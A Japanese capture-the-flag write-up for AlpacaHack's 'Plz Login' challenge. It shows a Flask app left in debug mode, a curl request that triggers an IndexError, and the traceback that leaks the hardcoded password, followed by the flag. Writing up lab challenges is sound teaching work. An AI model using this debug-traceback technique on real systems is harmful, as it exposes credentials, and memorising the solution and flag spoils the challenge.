Writeup Log

Plz Login

EventDaily AlpacaHack
DifficultyMedium

## solve

ファイルが提供されているので確認する。username が Admin もしくは admin、password が正しい文字列であれば認証を突破でき、flag.html 内でレンダリングされている FLAG が取得できそうなことがわかる。

app.py
from flask import Flask, request, render_template  
import os  
import random    
  
FLAG = os.environ.get("FLAG", "Alpaca{**REDACTED**}")  
  
app = Flask(__name__)  
app.secret_key = random.randbytes(32).hex()  
  
@app.get("/")  
def index():  
  
   return render_template("login.html")  
  
@app.post("/login")  
def login():  
   username = request.form.get("username", "")  
   password = request.form.get("password", "")  
  
   if username[0] not in "aA" or username[1:] != "dmin" or password != "**REDACTED**":  
       return render_template("login.html", error="You are not Admin"), 401  
  
   return render_template("flag.html", flag=FLAG)  
  
if __name__ == "__main__":  
   app.run(host="0.0.0.0", port=3000, debug=True)

ただ、SQLi という感じでもなく、本当に正しいものを入れる必要がありそうだ。app.run(host="0.0.0.0", port=3000, debug=True) でデバッグモードで起動されているところに着目し、例外を誘発することで該当箇所を露出させることができる。

bash
> curl -i -X POST http://34.170.146.252:21126/login -d 'password=x'

...
Traceback (most recent call last):
  File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1536, in __call__
    return self.wsgi_app(environ, start_response)
           ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1514, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1511, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 919, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 917, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 902, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
  File "/app/app.py", line 20, in login
    if username[0] not in "aA" or username[1:] != "dmin" or password != "879nmxWwzRA2ekFJ9ulVab8XVgRWk2EN":
       ~~~~~~~~^^^
IndexError: string index out of range
...

あとはこの password を使ってログインすればよい。

## flag

  • Alpaca{fulasukuuuuuuuuu_in_d3bug_m0de}